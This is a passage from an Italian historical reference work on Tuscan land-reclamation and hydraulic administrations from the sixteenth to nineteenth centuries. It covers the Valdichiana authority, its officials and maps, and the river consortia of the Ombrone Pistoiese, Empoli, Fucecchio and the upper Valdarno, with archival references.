Nel 1838 Manetti riprese tale servizio con la nomina a Direttore dei lavori di Valdichiana. Nell’elenco degli Impiegati del 1838, compare ancora Lorenzo Corsi con un trattamento annuo di lire 2520, “con più la diaria di £ 7 al giorno per le gite in campagna con l’obbligo di mantenere la cavalcatura, di servire anche il Dipartimento dell’Acque, e l’emolumento di £ 5 al giorno per le copie delle piante, progetti e relazioni” (ASF, Scrittorio delle Regie Possessioni, f. 3595).
A quanto si deduce dal documento intitolato: “Stati di servizio degli impiegati della soppressa Regia Amministrazione Economico-Idraulica di Val di Chiana e delle Regie Fattorie”, datato 1838 (ASF, Scrittorio delle Regie Possessioni, f. 3595), l’ente cambiò nuovamente denominazione, divenendo dal 1839 Regia Amministrazione di Arezzo e Val di Chiana, sempre con il compito di gestire e amminstrare, oltre ai lavori idraulici, anche le fattorie granducali.
Dal “Ruolo degli Impiegati” al 1° gennaio 1851 (così come in quello del 31 ottobre 1852), si evince che la direzione spettava a Tommaso Albergotti (“ministro principale” dal 1839); nel ruolo di ingegnere, al posto del Corsi, troviamo adesso Ferdinando Chini (1° assistente ai lavori, con una provvigione annua di 1680 lire, oltre a una diaria di “lire 7 al giorno nelle gite in Provincia, e vitto e alloggio alle Fattorie) e Giobatta Bianchini (2° assistente, con 1200 lire e il godimento della “patente d’Arme”), in servizio in Valdichiana il primo dal 20 luglio 1838 e il secondo dal 5 giugno 1829 (ASF, Scrittorio delle Regie Possessioni, f. 2608).
Si segnala il fecondo periodo 1838-59 per la messa a punto, sotto l’attenta direzione dell’ingegnere idraulico di numerosissime opere funzionali alla bonifica della valle, sia nel settore delle colmate che nella sistemazione della fitta rete dei corsi d’acqua e dei canali.
Il Manetti restò in carica fino al 1861.

Produzione cartografica

La documentazione cartografica, manoscritta e a stampa, prodotta dai suddetti enti preposti alla bonifica della Valdichiana, tra il 1783 e il 1861 consiste in centinaia e centinaia di rappresentazioni: carte generali della valle o di parti di essa, prodotti specifici strettamente correlati a interventi idraulici, con le tante figure su assetti territoriali dati che non sempre è facile distinguere da quelle che esprimono progetti, e quindi opere di modifica degli stati di fatto; figure su particolari operazioni e oggetti sempre di natura idraulica (colmate, arginature, profili e livellazioni, chiuse, ecc.); ma anche numerosissime raccolte di mappe di fattorie e poderi (cabrei), cartografie generali o parziali che inquadrano, spesso con minuzia ed eccezionale perizia scritta e grafica, i terreni e i fabbricati rurali; infine cartografia legata alla progettazione di un nuovo assetto stradale. Nell’impossibilità, in questa sede, di stilare un elenco di tali carte, si rimanda ai numerosi studi e alle tante conservatorie (archivi comunali della valle, archivi e biblioteche della Toscana, e non solo di essa) elencati (v. Riferimenti bibliografici e archivistici).

Operatori

Deputazione (o Commissione) per la Val di Chiana (1783-1792): Angelo Tavanti, presidente, dal 1783; Vittorio Fossombroni, Soprintendente alla bonifica, dal 1788; Giuseppe Salvetti (ingegnere granducale, 1789); Stefano Diletti (ingegnere granducale, 1785-87); Salvatore Piccioli (ingegnere granducale, 1788); Antonio Capretti (ingegnere granducale, 1780/1788); Giuseppe Baldassarre Puliti (architetto granducale, 1780/1788); Niccolò Montomoli (1791).

Regia Soprintendenza delle Acque della Val di Chiana (1794-1808): Vittorio Fossombroni (Soprintendente, 1794-1827); Jacopo Gugliantini (ingegnere in organico, dal 1798); Andrea Nuti (aggiunto al Fossombroni, dal 1800); Luigi Mazzoni (ingegnere in organico, 1801); Alessandro Del Vita (geometra e perito, 1801); Giovanni Franceschi (ingegnere granducale, 1797); Giovanni Caluri (ingegnere granducale, 1799); Stefano Diletti (ingegnere granducale, 1808).

Dipartimento dell’Acque della Provincia di Val di Chiana e Amministrazione dei Beni della Corona di Val di Chiana (1808-1814): Vittorio Fossombroni (Sovrintendente); Andrea Nuti (aggiunto al Sovrintendente); Federigo Capei (aiuto); Eduardo Ghio (copista); Giuseppe Billi, Leopoldo Guidi, Niccolò Gamurrini, Luigi Mazzoni (deputati ai diversi settori della bonifica, in organico); Pietro Zampi, Vincenzo Bottari, Giuseppe Ghizzi, Domenico Colombi (camarlinghi dell’Imposizione, in organico); Giovanni Lischi (custode della Fabbrica del Callone).

Amministrazione Economico-Idraulica della Val di Chiana e Amministrazione dei Beni della Corona in Val di Chiana (1816-1861): Vittorio Fossombroni (Soprintendente generale, 1816-1828); Federigo Capei (aiuto Soprintendente 1816-1826 e dal 1826 responsabile diretto dell’Amministrazione Economico-Idraulica); Tommaso Albergotti (primo commesso archivista, dal 1816); Jacopo Gugliantini (ingegnere in organico, 1816-1824); Alessandro Manetti (ingegnere idraulico in organico, 1816-1825 e 1838-1861); Lorenzo Corsi (aiuto ingenere in organico dal 1819; ingegnere dal 1825); Jacopo Frilli (1819); Francesco Fantechi (1824 ca.); Lorenzo Materassi (1828 ca.); Luigi Mazzoni, Francesco Cerretelli e Gastone Laparelli (periti di campagna, anni ’20- primi anni ’30 dell’800); Luigi Kindt (ingegnere granducale, 1832); Luigi Turchini (1837); Baldassarre Marchi (ingegnere granducale, 1838/1847); Francesco Renard (ingegnere granducale, 1844-49/1847); Alessandro Del Vita (geometra e perito in organico, 1845/1849/1856); Angiolo Falorni (ingegnere granducale, 1849); Luigi Galluzzi (ingegnere granducale, metà sec. XIX).

Riferimenti bibliografici e archivistici

Barsanti e Rombai, 1987; Breschi et Al., 1981; Di Pietro, 2005; Fossombroni, 1789/1835; Fossombroni, 1824; Guarducci, 2001; Guarducci, 2003; Guarducci, 2005; Istituto Geografico Militare, 1934; Manetti, 1823; Manetti, 1840; Manetti, 1849; Rombai, a cura di, 1993; Rombai, 1994; Rombai, Toccafondi e Vivoli, 1987. ASF, Scrittoio delle Regie Possessioni, Piante dello Scrittoio delle Regie Possessioni. Carte sciolte e Tomi, Piante Topografiche delle Regie Possessioni, Piante della Direzione Generale dell’Ufficio delle Acque e Strade, Miscellanea di Piante, Segreteria di Gabinetto; ASS, Quattro Conservatori, Quattro Conservatori. Mappe; ASA, Genio Civile. Direzione delle opere idrauliche di Valdichiana, Archivi di Acque e Strade. Direzione delle opere idrauliche di Val di Chiana, Archivio Fossombroni; ASP, Ordine di S. Stefano; BMF, Ms Cambray Digny; IGM, Collezione Fossombroni; SUAP Rat; SHAT, M. R.

Anna Guarducci (Siena)

Deputazioni e Consorzi idraulici (Granducato di Toscana)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Pianura dell’Ombrone Pistoiese (secoli XVI-XIX)

Circondari di Imposizione di Empoli (metà XVI secolo-oggi)

Valdinievole e Padule di Fucecchio (1781-oggi)

Valdarno di Sopra (1697-1769)

In Toscana agirono – per periodi più o meno lunghi – numerose realtà consorziali idrauliche locali, di cui non è possibile dar conto in questa sede. Basti pensare che lungo il corso dell’Arno – nel solo tratto compreso nel territorio del contado fiorentino tra Levane e Santa Croce – nella seconda metà del XVII secolo esistevano innumerevoli imposizioni, tra cui quelle di Bocca d’Ambra, di Montevarchi e San Giovanni, di Petriolo e Brozzi, di Ugnano, di San Moro, di Legnaia, di Badia a Settimo, di Santa Croce (ASF, Capitani di Parte Guelfa, filze varie).
Tra le principali ricordiamo: il consorzio di Empoli, la Congregazione del Valdarno, il Consorzio di Bonifica del Padule Fucecchio, la “Congregazione per l’allargamento del Fiume Ombrone” Pistoiese poi Deputazione centrale per lo stabilimento delle serre del Fiume Ombrone.
I Consorzi idraulici erano gli enti che, con la denominazione corrente di imposizioni fluviali o palustri, riunivano coattivamente i proprietari privati dei terreni disposti intorno a corsi d’acqua e zone umide. Essi, fin dalla seconda metà del XVI secolo (e almeno fino all’unità d’Italia, ma in alcuni casi anche successivamente e fino ai nostri giorni), in base alla legislazione medicea, e per tutta l’età granducale, si occuparono specificamente della gestione e della regolamentazione più o meno ordinaria delle imposizioni di fiumi, fossi e paduli dei rispettivi circondari quasi mai coincidenti con i reticoli comunitativi, fra l’altro con particolare frammentazione degli spazi di pertinenza fluviale o palustre in parecchie circoscrizioni che raramente si occupavano di entrambe le sponde o dell’intero invaso.
Le Deputazioni o Congregazioni idrauliche erano invece i pochi enti occasionalmente istituiti dai governi granducali (sempre con il concorso fondamentale della proprietà privata ma anche con l’intervento tecnico-finanziario dello Stato mediceo o lorenese) per affrontare e risolvere problemi straordinari di grande rilevanza pubblica, come la sistemazione dei fiumi maggiori (Arno e Ombrone Pistoiese) o la bonifica di grandi e piccoli comprensori palustri quali Valdinievole, Valdichiana, Maremma Grossetana, Pian del Lago, Padule di Orgia (per cui v. Congregazione degli Interessati di Pian del Lago e “Consorteria del Padule d’Orgia”), ecc.
Ai tempi della realizzazione e attivazione del catasto geometrico lorenese (1832-34), venne meno per ciascun ente, almeno per i più piccoli, la necessità di stipendiare un ingegnere per disegnare e aggiornare i cartoni dell’imposizione (in genere “inesatti o incompletissimi”, come li definì in quegli anni Giovanni Inghirami), dal momento che ora potevano soccorrere ottimamente le mappe catastali appositamente riunite. E per tutte le 553 Deputazioni dei Fiumi e Fossi del Granducato che allora amministravano circa un ottavo della superficie totale dello Stato scattò “l’obbligo di tenere in buona regola i plantarj dei terreni compresi nelle singole imposizioni, e i registri delle loro annue spese di lavori e d’amministrazione” (Rombai, 1989, p. 170).
Le competenze in materia di arginature di fiumi e di bonifiche addossate, fin dal XVI secolo, “ai proprietari dei fondi limitrofi ai fiumi ed ai fossi” furono confermate dalla Camera di Soprintendenza Comunitativa del Granducato negli anni 1820-21 e “rappresentavano il punto di arrivo e la definitiva formalizzazione” del sistema creato dai Medici.
L’amministrazione e la gestione delle imposizioni gravanti sui terreni sottoposti ai rischi e alle esondazioni dei corsi d’acqua e dei paduli erano già state disciplinate dal governo centrale (Camera delle Comunità) nel 1774 (con l’affidamento della gestione delle imposizioni ai proprietari, obbligati a nominare una deputazione di rappresentanti) e nel 1786. Con quest’ultima normativa, in seguito alle diffuse inadempienze dei proprietari, si affidava ai giusdicenti locali (vicari o podestà) il compito di effettuare periodiche ispezioni ai corsi d’acqua, alla presenza dei deputati delle imposizioni e del tecnico o provveditore di strade delle rispettive comunità, e di redigere apposite relazioni con la descrizione dei lavori occorrenti (Benigni e De Gramatica, 1998, pp. 23-24).
Le spese sia ordinarie che straordinarie occorrenti per la manutenzione dei circondari idraulici erano ripartite tra i proprietari di ciascuna imposizione in base alle quote di possesso, vale a dire in base alle superfici dei terreni posseduti articolate in varie “classi” definite a seconda dell’uso e della produttività del suolo, verificate in base ad appositi elenchi dei beni e in base ad attendibili cartografie a grande scala prodotte allo scopo, tradizionalmente dette “Cartoni del Circondario” (Guarducci e Rombai, 1998, pp. 52-54).

Pianura dell’Ombrone Pistoiese (secoli XVI-XIX). I tanti circondari di imposizione dell’Ombrone Pistoiese (esistenti fin dal XVI secolo) vennero riuniti nel 1706 dal governo granducale nella Deputazione o “Congregazione per l’allargamento del Fiume Ombrone”.
Questo nuovo ed unico ente idraulico doveva procedere (ricorrendo ai consueti contributi versati dalla proprietà fondiaria, ma con la cospicua integrazione di finanziamenti statali procurati mediante “imposizioni universali” attivate nel 1706, 1711, 1717, 1722, 1725 e 1729) alla canalizzazione generale (e in alcuni tratti anche all’allargamento del letto, come evidenzia la denominazione stessa dell’ufficio) del principale fiume pistoiese, in tutto il suo corso in pianura tra Pistoia e la confluenza in Arno.
Ovviamente, la rilevanza dell’intervento impose la redazione di cartografie d’insieme e parziali.
I lavori richiesero molti decenni per essere compiuti, tanto che tra il 1760 e il 1763 il governo nominò una commissione di esperti per far chiarezza sui problemi ancora in essere. Per quanto fin dal 1742 fosse stato scavato il nuovo letto, all’inizio degli anni ’60 i lavori agli argini fervevano ancora tra Pontelungo e Ponte alla Pergola, e rimaneva pure da colmare e mettere a coltura il letto vecchio.
In pratica, l’operazione poté dirsi conclusa all’inizio del 1772, perché il motuproprio granducale del 17 febbraio soppresse la Deputazione e tornò a ripartire il fiume e lo spazio circostante fra le antiche e svariate imposizioni dei proprietari.
I pesanti esborsi finanziari furono compensati dall’avanzata della colonizzazione agraria nelle aree di pertinenza fluviale “acquistate” con la sistemazione e la bonifica.
Il ritorno alla tradizionale gestione frammentaria del corso d’acqua, col tempo, finì però col produrre il progressivo deterioramento dell’assetto idrologico, come dimostrano le ricorrenti esondazioni e rotture di argini che, fin dal 1777, richiesero continui e costosi lavori straordinari di ripristino.
Questo stato di cose divenne sempre più precario all’inizio del nuovo secolo XIX, e vi si cominciò a trovare rimedio solo a partire dal 1821, quando il professore idraulico pistoiese Pietro Pietrini – dopo un esame dettagliato delle condizioni fisiografiche – redasse un piano generale di sistemazione del fiume e del suo bacino idrografico, che era imperniato sulla costruzione di circa 150 serre sugli alti corsi degli affluenti dell’Ombrone (Vincio di Brandeglio e di Montagnana, Brana, Bure, Piestro, Torbecchia, ecc.), al fine di evitare corrosioni e frane delle pendici montane-collinari.
Il governo, con rescritto del 25 ottobre 1822, approvò l’esecuzione del progetto Pietrini, affidandone la direzione – nell’ambito di un nuovo ente di gestione che accorpava le tante tradizionali imposizioni fluviali, denominato “Deputazione centrale per lo stabilimento delle serre del Fiume Ombrone” – all’ingegnere pistoiese Marco Gamberai (che qualche anno dopo sarebbe entrato nel Corpo degli Ingegneri di Acque e Strade), con la supervisione di Alessandro Manetti.
I grandiosi lavori di bonifica montana mediante la realizzazione di tante serre disposte “a guisa di scaglioni dai tronchi inferiori fino ai primi rigagnoli verso le vette delle montagne”, registrarono un grande impulso negli anni ’20 e ’30, e all’inizio degli anni ’40 furono considerati pressoché conclusi: tanto che, con sovrano rescritto del 22 aprile 1843, la Deputazione delle Serre venne sciolta, mentre tutte le sue competenze furono affidate alla Deputazione d’Ombrone, la quale proseguì con i suoi ingegneri l’opera di completamento e manutenzione delle serre. Le operazioni andarono tuttavia a rilento, se proseguivano ancora nei primi anni ’60 di quello stesso secolo, e se nel 1863 – a seguito di importanti modifiche ambientali prodotte dal tracciato della nuova linea ferroviaria porrettana – l’ing. Eugenio Zamponi propose la costruzione di nuove serre sul fosso detto di Fabbrica, sul fosso Castagno, sull’Ombrone, sul fosso di Ciliceia e sul fossetto di Calabbiana. Neppure questi lavori riuscirono però a risolvere il problema, anche per il massiccio diboscamento in atto nelle pendici montane, almeno fino al 1923 quando fu approvata una rigorosa legge forestale (Romby, 1984 e 1988).

Circondari di Imposizione di Empoli (metà XVI secolo-oggi). Nell’Empolese esistevano, dalla metà del XVI secolo (destinate a durare fino ai giorni nostri), come recitano gli atti catastali del 1817-32, “moltissime Imposizioni, e sono Pratelle di Sopra e di Sotto, Arno Vecchio, Romito o Mosca, S. Donato o Piovola, Orme a sinistra, Cappuccini, S. Maria, Arno sotto il Molino del Sale, Vitiana, Pagnana, Saettino, Volpi, Elsa alla Girandola, Elsa a Brusciana, Elsa alle Poste, Arno a Riottoli, Arno a Cintoia, Arno alla Moretta”, che “si pagano dai possessori per lo più divisi in classi in proporzione del vantaggio”.
Di sicuro, in ogni epoca le spese di regimazione idrica furono cospicue, perché “il suolo della pianura trovasi molto basso e perciò soggetto all’infrigidimento naturalmente occasionato dalla difficoltà degli scoli e dalla elevazione dei torrenti e fiumi che vi scolano e particolarmente del fiume Arno”. In molti luoghi era difficile, o addirittura impossibile, “il poter colmare, onde lo stato di questa pianura va ogni giorno deteriorando”, a seguito dei molti corsi d’acqua che scorrevano “con molta veemenza, portandosi seco delle moli di sassi” che producevano “frequenti rotte”, con “danno gravissimo ai possessori adiacenti”. D’altra parte, non pochi settori del poggio erano di “natura sterile” o poco produttiva.
Come si è già accennato, le spese sia ordinarie che straordinarie erano ripartite tra i proprietari dell’imposizione in base alle quote di possesso verificate sugli elenchi dei beni e sulle piante (dette “cartoni del Circondario”).
Tra la fine degli anni ’50 e l’inizio degli anni ’60 dell’Ottocento, le perizie redatte (sulla base di capillari visite annuali) da Giulio Marzocchi, Pietro Maestrelli e da altri ingegneri delle varie imposizioni confermano che, ormai, il fitto reticolo idrografico era generalmente “ben tenuto” ed efficiente. Nel 1857-61, comunque, furono effettuati, oltre ai consueti interventi di manutenzione (escavazioni e più di rado allargamenti d’alveo, rinforzi e rialzamenti d’argine, piantate arboree di pioppi, acacie o altre specie “a facile sviluppo” e “sassaie” o “getti di sassi” con “pietre della Gonfolina” realizzate a difesa delle ripe e panchine, restauro di cateratte e ponti, ecc.), anche qualche lavoro di sistemazione a fossi e scoli di un certo impegno finanziario da parte delle imposizioni del Rio di Vitiana e Campolungo (che procedette all’escavazione di un nuovo canale con sbocco diretto in Arno “in sussidio del fosso maestro”), d’Arno Vecchio, del T. Orme spalla destra e sinistra, del T. Piovola, dei Rii Saettino e Friano, dell’Elsa sotto il Rio e Molino delle Volpi, alla Girandola (al nuovo “traversante del Molino di Capo Cavallo”) e al Ponte del Molino, dell’Elsa a Brusciana, dell’Elsa in Carraia e Morette, delle Pratelle di Sopra e di Sotto, del Rio di Pagnana e Stella, dei Rii Romito e Mosca, del Rio di S. Maria a Cerbaiola, ecc. Vale la pena di ricordare la situazione denunciata nel 1859 dall’ingegnere comunale Pietro Maestrelli in relazione allo stato dell’argine sinistro del Canale Maestro che, a partire dal suo inizio in Arno, “si vede per lunghi tratti dissodato, lavorato e sementato, di fronte ai possessi dei signori Amedeo Del Vivo e Bertolli dal Terrafino”, condizione preoccupante per la stabilità e funzionalità del manufatto che andava senz’altro sanata non appena concluse le operazioni della mietitura.
Le antiche imposizioni vennero accorpate nell’Ufficio Centrale dei Consorzi Idraulici di Empoli nel 1875, in seguito alla legge per l’unificazione amministrativa del Regno d’Italia che dava facoltà ai proprietari interessati di costituire specifici consorzi idraulici (L. 20 marzo 1865, n. 2248, allegato F, integrata e modificata in materia di consorzi idraulici con le disposizioni della L. 3 luglio 1875, n. 2600).
Il 31 dicembre del 1875 tale ufficio (che aveva sede, allora come oggi, nell’edificio comunale di Empoli) promulgò un proprio regolamento con il quale si dotava di una propria struttura, con al vertice una Commissione Direttrice composta dai presidenti dei singoli consorzi idraulici, che aveva il compito “di dirigere e sorvegliare nel comune interesse le singole amministrazioni dei diversi Consorzi idraulici esistenti nel Comune”. Sempre alla Commissione spettava la nomina dell’ingegnere, incaricato di sorvegliare le condizioni dei corsi d’acqua consorziali al fine di verificarne lo stato di manutenzione e segnalare gli eventuali lavori di sistemazione necessari, nonché quella dell’esattore e del segretario; quest’ultimo, con mansioni di ragioniere e archivista, aveva il compito di convocare le assemblee della Commissione e delle singole Deputazioni e di redigerne i verbali, di predisporre i bilanci, tenere aggiornati i registri contabili, infine tenere in ordine e custodire in un apposito archivio tutta la documentazione prodotta dall’Ufficio Centrale e dai singoli consorzi (Benigni e De Gramatica, 1998, pp. 23-24; e Guarducci e Rombai, 1998, pp. 52-54).

Valdinievole e Padule di Fucecchio (1781- oggi). Dopo l’esecuzione di opere fondamentali per la bonifica e per la regimazione delle acque della Valdinievole, come l’abbattimento delle calle di Ponte a Cappiano e l’escavazione di numerosi fossi e canali, già tra il 1781 e il 1782, parve chiaro al granduca Pietro Leopoldo che nessuno dei singoli comuni o delle singole piccole province amministrative vicariali della valle era in grado di svolgere autonomamente le indispensabili funzioni di vigilanza e monitoraggio e di ordinaria manutenzione della zona umida e della pianura ivi gravitante. Proprio per tale consapevolezza, il sovrano decise di coinvolgere direttamente i proprietari fondiari nella cura delle operazioni idrauliche, e con rescritto del 22 maggio 1781 creò una prima grande Deputazione idraulica (Deputazione del Padule di Fucecchio) costituita dai rappresentanti delle cinque piccole “imposizioni” dei fiumi della Valdinievole, che veniva a dipendere dalla governativa Camera di Soprintendenza Comunitativa.
In cambio della loro partecipazione finanziaria, i deputati, avvalendosi almeno tra Sette e Ottocento della perizia di ben noti ingegneri granducali (come Giuseppe Salvetti, Francesco Bombicci, Salvatore Piccioli, Agostino Fortini, Giuseppe Manetti, Neri Zocchi, ecc.), e successivamente di altri valenti periti locali (come Luigi Masani, Alessandro Fortini, ecc.), acquisivano il potere di programmare ed eseguire i lavori occorrenti. L’esperienza della Deputazione non parve però esaltante, se è vero che essa venne sciolta il 6 maggio 1783; il 4 febbraio 1786 fu però sostituita da altro ente di tipo consortile misto pubblico/privato, denominato sempre Deputazione (o Consorzio) del Padule di Fucecchio, che, col tempo, si sarebbe rivelata in grado di appianare l’annosa conflittualità esistente fra le varie comunità e i numerosi proprietari fondiari della valle.
Per garantire l’equa ripartizione dei contributi consortili in base alla superficie dei terreni e alla destinazione d’uso (e quindi alla relativa stima del valore) del suolo, il ben noto ingegnere dell’Ufficio Fiumi e Fossi di Pisa, Francesco Bombicci, riuscì nel 1788 ad ultimare lo specifico catasto del Consorzio – detto Cartone –, peraltro già iniziato dal capo ingegnere granducale Giuseppe Salvetti; ma le decise opposizioni dei proprietari ai valori di stima dei terreni (ritenuti troppo elevati) valsero a bloccarne a lungo l’attivazione, precisamente fino all’approvazione da parte del vicario di Pescia fattane il 9 maggio 1792.
Sotto il Regno d’Etruria retto dai Borbone, istituito nel 1801, con legge del 13 ottobre (pubblicata il 7 novembre) 1803, si pose fine al decentramento gestionale, ponendo il Consorzio alle dirette dipendenze dello Stato. Tale assetto rimase invariato sul piano gestionale anche negli anni della dominazione napoleonica (1808-14), e persino con la Restaurazione lorenese; nel 1825, con la istituzione della Direzione Generale di Acque e Strade, l’amministrazione del Consorzio di Bonifica fu concessa al Direttore di tale nuovo ufficio centralizzato.
Con l’unificazione nazionale, una volta soppressi con decreto del 9 novembre 1862 il Corpo degli Ingegneri di Acque e Strade e la rispettiva Direzione Generale, le attribuzioni di poteri di quest’ultima sul Consorzio furono trasferite alla Prefettura di Firenze con altro decreto del 3 aprile 1864.
Da allora, occorre attendere ancora un ventennio perché il Consorzio – col nome di Consorzio degli emissari del Padule di Fucecchio ancora oggi operante – venisse liberamente “ricostituito in forma moderna in base al nuovo statuto organico approvato con Decreto Reale del 9 gennaio 1887”.
E’ interessante sottolineare che la Deputazione fu allora stabilmente dotata della figura dell’Ingegnere che doveva far la visita annuale nel mese di giugno ai canali (Romby e Rombai, a cura di, 2004).

Valdarno di Sopra (1697-1769). Nell’ambito della sfera amministrativa della magistratura dei Capitani di Parte Guelfa, nel 1697 vennero costituite le Congregazioni del Valdarno di Sopra e del Valdarno di Sotto (inizialmente unico organismo).
La “Congregazione del Valdarno” era un organismo fondato dai deputati dei principali possidenti laici ed ecclesiastici del Valdarno di Sopra, con il compito di sorveglianza e gestione dei corsi d’acqua. Tale organismo operava “in delega” per conto dei Capitani di Parte e, in particolare, del Magistrato dei Fiumi. Al vertice della Congregazione era un Soprintendente, figura ricoperta dal cavalier Anton Vincenzo Bartolini dal 1735 al 1764 (anno della sua morte). Dal 1761 collaborò, in qualità di vicario, il senatore Antonio Serristori, uno dei maggiori possidenti della valle.
Dei sette rappresentanti laici che ne facevano parte, quattro appartenevano alle famiglie fra le più prestigiose e facoltose della nobiltà locale e fiorentina che possedevano vasti beni in Valdarno: i Medici, i Serristori, i Salviati e i Rinuccini. Tale fatto veniva annotato dal granduca Pietro Leopoldo nelle sue celebri Relazioni, denunciando quella commistione tra interesse pubblico e privato che era venuta a crearsi in seno alla deputazione e sottolineando che le grandi famiglie avevano trovato “il segreto di essere deputati perpetui e arbitri ed in conseguenza padroni non solo di tutto l’affare e dell’amministrazione del medesimo, ma anche della direzione ed esecuzione sul posto di quei lavori che facevano eseguire dai loro fattori, aggiunto quest’affare sotto la protezione del governo al magistrato della Parte come tutte le altre imposizioni” (1970, II, p. 152).
L’operazione principale che vide impegnata la Congregazione per un lunghissimo periodo, fin dal 1703, fu quella dell’incanalamento del fiume Arno, al fine di liberare definitivamente la vallata dai ristagni, dalle esondazioni e dalle tortuosità del corso d’acqua e renderlo quindi navigabile anche nel tratto a monte di Firenze; inoltre sarebbero stati messi a coltura terreni di indubbio valore produttivo.
Per tale lungo e complesso lavoro venne incaricato l’ingegnere Felice Innocenzio Ramponi che, l’11 aprile 1703, fu nominato “Perito Custode de’ fiumi del Valdarno di Sopra”, con provvisione di scudi 20 al mese, carica che manterrà fino alla sua morte avvenuta nel 1755. In quella data subentrò nell’incarico un altro celebre tecnico granducale, Antonio Falleri, che già lavorava come aiuto dal 1747.
Come primo atto la Congregazione ottenne il rinnovo di un concordato (fra la Diocesi di Fiesole, lo Scrittoio delle Possessioni e i possidenti laici locali) che impegnava tutti i possidenti del fondovalle nella ripartizione delle spese che il progetto di canalizzazione dell’Arno avrebbe comportato.
Per la prima visita generale, finalizzata ad eseguire le misurazioni e a definire la confinazione delle aree interessate, compiuta dal 6 all’8 novembre 1703, il Ramponi fu coadiuvato da Giovannozzo Giovannozzi, in qualità di perito facente parte dei Capitani di Parte; all’operazione erano presenti anche diversi membri della Congregazione. Nella relazione scaturita dalla visita si sottolineava l’importanza dell’operazione e si prevedeva la costruzione di un canale ove imbrigliare il fiume, grosso modo dal Ponte a Buriano fino all’Incisa, articolato per un tratto in diversi tronconi, che doveva restringersi ad imbuto gradatamente verso valle; la spesa prevista era dai ventimila ai trentamila scudi.
Il progetto fu realizzato nelle sue linee essenziali, ma comportò grossi problemi e numerose varianti rispetto al disegno originale e una spesa assai più ingente di quella preventivata (agli inizi degli anni ’30 il debito ammontava a ben 300.000 scudi!). L’operazione fu caratterizzata anche da una generale disorganicità che generò forti avversioni da parte dei piccoli proprietari locali e degli abitanti della zona, che denunciarono a più riprese l’evidente parzialità con cui si procedeva nei lavori, salvaguardando soprattutto gli interessi delle maggiori famiglie.
E’ sempre il granduca Pietro Leopoldo a denunciare, diversi anni dopo, che: “infiniti furono gli abusi e le prepotenze fatte da questa Congregazione, la quale consigliava sempre i più duri compensi per vessare i poveri e rendersi padroni dei loro terreni, ed i maneggiati delle dette quattro casate quali con i lavori fatti in Arno, le alluvioni, accrebbero moltissimo i loro fondi, con acquistare parecchi poderi e mulini, per i quali non hanno mai niente pagato in sgravio dell’imposizione”. Le critiche non risparmiarono poi il principale artefice di tutta la faccenda, il Ramponi, che aveva dominato per oltre 50 anni la scena in prima persona: egli (insieme al Soprintendente Bartolini) venne infatti accusato più volte di strapotere e di disonestà e di essersi oltremodo arricchito – come riporta senza mezzi termini lo stesso Granduca – con “le mangerie fatte nell’esecuzione dei lavori” (Ibidem).
Durante lo svolgimento dell’operazione furono eseguite numerose relazioni e perizie ed anche alcune mappe, soprattutto in occasione delle varianti (oggi conservate in ASF, Piante dei Capitani di Parte). Altri collaboratori del Ramponi furono Michele Gori (nel 1705, in qualità di aiuto ingegnere, anche lui facente parte della Magistratura dei Capitani di Parte); Sansone Pieri, che nel 1714 eseguì una pianta per dirimere una vertenza tra proprietari; Antonio Falleri (già citato) che redasse numerose relazioni e perizie corredate anche di disegni.
Periodicamente, venivano inviati sul posto tecnici dei Capitani di Parte, in qualità di supervisori del progetto: tra questi, ricordiamo le numerose visite di Raffaello Nardi, sottoprovveditore della Parte.
Intorno alla metà del Settecento intervennero nell’annosa questione dell’incanalamento dell’Arno due illustri personaggi, Giovanni Targioni Tozzetti e Ferdinando Morozzi: il primo con una memoria nella quale si sottolineavano i difetti dell’operazione, che sarà di fondamentale importanza per la relazione, corredata di disegni, presentata dal Morozzi allo Scrittoio delle Possessioni nel 1762 (pubblicata poi nel 1766 col titolo Dello stato antico e moderno del Fiume Arno), in cui si riformulava in maniera esplicita l’attacco alla canalizzazione eseguita e si proponevano nuovi rimedi.
Nel 1766, per risolvere la disastrosa situazione economico-amministrativa della Congregazione, venne radicalmente riorganizzato l’ente con l’obiettivo principale di impedire gli abusi e risanare i bilanci; le funzioni svolte dal Soprintendente (ruolo vacante dal 1764 dopo la morte del Bartolini) furono concentrate nella figura del Sottoprovveditore dei Capitani di Parte, nella persona del conte Orlando Del Benino, che all’inizio del 1767 ricevette l’incarico “pro interim” di Soprintendere alla Congregazione. Parallelamente, il nuovo sovrano Pietro Leopoldo istituì una Deputazione incaricata della revisione totale dell’Ufficio della Parte (composta da quattro auditori), che ebbe anche il compito di supervisionare “l’affare del Valdarno”.
Il primo passo fu una attenta visita generale condotta, nel marzo 1767, dall’ingegnere Giuseppe Salvetti, dal perito custode Falleri e da altri; allo stesso tempo furono controllati e inventariati tutti i documenti prodotti dalla Congregazione, nell’ottica di una vera e propria “inchiesta”, di fronte alla quale si scatenò la forte opposizione dei proprietari. Fu nominato come perito dell’indagine il Soprassindaco dell’Ufficio dei Nove, il cavaliere Giovan Battista Nelli, coadiuvato dagli ingegneri Francesco Bombicci e Giovanni Franceschi. Nel 1768 fu eseguita una Relazione corredata da una pianta generale e da una Descrizione dei terreni sottoposti all’Imposizione: tali materiali, costruiti sulla revisione dell’antico “cartone” e della documentazione precedente, costituivano ora la nuova base per le imposizioni del Valdarno di Sopra. Dall’inchiesta emerse a pieno la disastrosa e disonesta gestione della Congregazione.
Con l’editto del 22 giugno 1769, insieme alla plurisecolare Magistratura dei Capitani di Parte e ad altre istituzioni, fu soppressa anche la Congregazione del Valdarno di Sopra e fu istituita la Camera delle Comunità, luoghi pii, strade e fiumi.
La storia dell’Imposizione del Valdarno di Sopra si chiuse però definitivamente soltanto nel 1781, allorché il granduca, con un atto di grande clemenza, concesse una sorta di sanatoria ai proprietari che, a causa del forte debito contratto, rischiavano di perdere tutti i loro beni (Tartaro, 1989, pp. 6-60).

Produzione cartografica

Numerose sono le cartografie manoscritte prodotte fin dall’inizio del XVIII secolo, al fine di individuare i circondari di imposizione e i proprietari frontisti e contigui con i relativi oneri. Se ne elencano le principali

